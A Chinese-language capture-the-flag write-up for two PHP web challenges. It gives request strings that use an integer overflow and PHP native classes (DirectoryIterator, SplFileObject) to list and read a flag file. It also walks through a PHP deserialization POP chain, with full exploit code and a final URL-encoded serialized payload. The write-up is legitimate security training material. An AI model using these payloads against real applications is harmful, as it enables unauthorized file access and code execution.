easywebeasy unserialize
easyweb
源码提示
</div> <!--?source--> </html>
数组溢出+原生类读取
c=9223372036854775806&a=DirectoryIterator&b=glob://flag[0-9a-z]*.php
c=9223372036854775806&a=SplFileObject&b=flag56ea8b83122449e814e0fd7bfb5f220a.php
easy unserialize
__destruct()方法又叫析构函数,当程序结束销毁的时候自动调用,看下这道题中的代码
$a=unserialize($_GET['ctfshow']); throw new Exception("高一新生报道");
这里有个throw函数,大概是抛出一个异常,然后让程序异常退出,这个时候就是未正常退出的情况,所以不会调用__destruct方法,这里我们就要想办法在throw函数执行之前调用析构函数,目前我知道的调用该函数的方法如下:
-
等待程序完整执行完毕,也就是解释完最后一行代码,这也是我们最常用的方法
-
利用GC回收机制,比如
<?php highlight_file(__FILE__); class Demo{ public function __destruct() { echo "Running method <destruct>"; } } $a=new Demo(); // $a=null; throw new Error("this is a test");
-
最后一种就是利用unset()主动销毁,这里显然我们不能,所以忽略
不难发现我们最后要进入 one::MeMeMe 并且满足条件
array_walk()只有关于数组的例子 本地尝试一下关于类的例子
可以看到作用是遍历自定义函数,其中$fn为成员的值,prev为成员变量的名字,所以
$year_parm=array(0=>"Happy_func");
要访问one::MeMeME() 找到
public function __get($name) { $var = $this->$name; $var[$name](); }
使 $var=array('$name'=>[new one(),"MeMeMe"]); 就可以 $var[$name]=one::MeMeMe();
要想__get() 得访问不存在的成员属性 找到
public function __toString() { return $this->object->string; } 使 $this->object=new third()
而要__toString 得把对象当字符数输出 找到
protected function addMe() { return "Wow you have sovled".$this->filename; } 使 $this->filename=new one()即可; 这里题目是protected 利用php7对protected 不敏感 绕过
发现
public function __destruct() { @$this->object->add(); } 使$this->object=new second()即可
payload:
<?php class one { public $object; public $year_parm=array(0=>"Happy_func"); public function MeMeMe() { array_walk($this, function($fn, $prev){ if ($fn[0] === "Happy_func" && $prev === "year_parm") { echo $fn[0].'<br>'.$prev; global $flag; echo $flag; } }); } public function __destruct() { @$this->object->add(); } public function __toString() { echo 'one::toString'.'<br>'; return $this->object->string; } } class second { public $filename; protected function addMe() { echo 'second::addMe'.'<br>'; return "Wow you have sovled".$this->filename; } public function __call($func, $args) { echo 'second::call'.'<br>'; call_user_func([$this, $func."Me"], $args); } } class third { private $string; public function __construct($string) { $this->string = $string; } public function __get($name) { echo 'third::get'.'<br>'; $var = $this->$name; $var[$name](); } } $a=new one(); $a->object=new second(); $a->object->filename=new one(); $a->object->filename->object=new third(['string'=>[new one(),'MeMeMe']]); $b=null; $c=array($a,$b); echo urlencode(serialize($c));
本地调试没问题
因为要在throw之前析构函数
所以payload还要修改一下最终为:
a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A0%3BN%3B%7D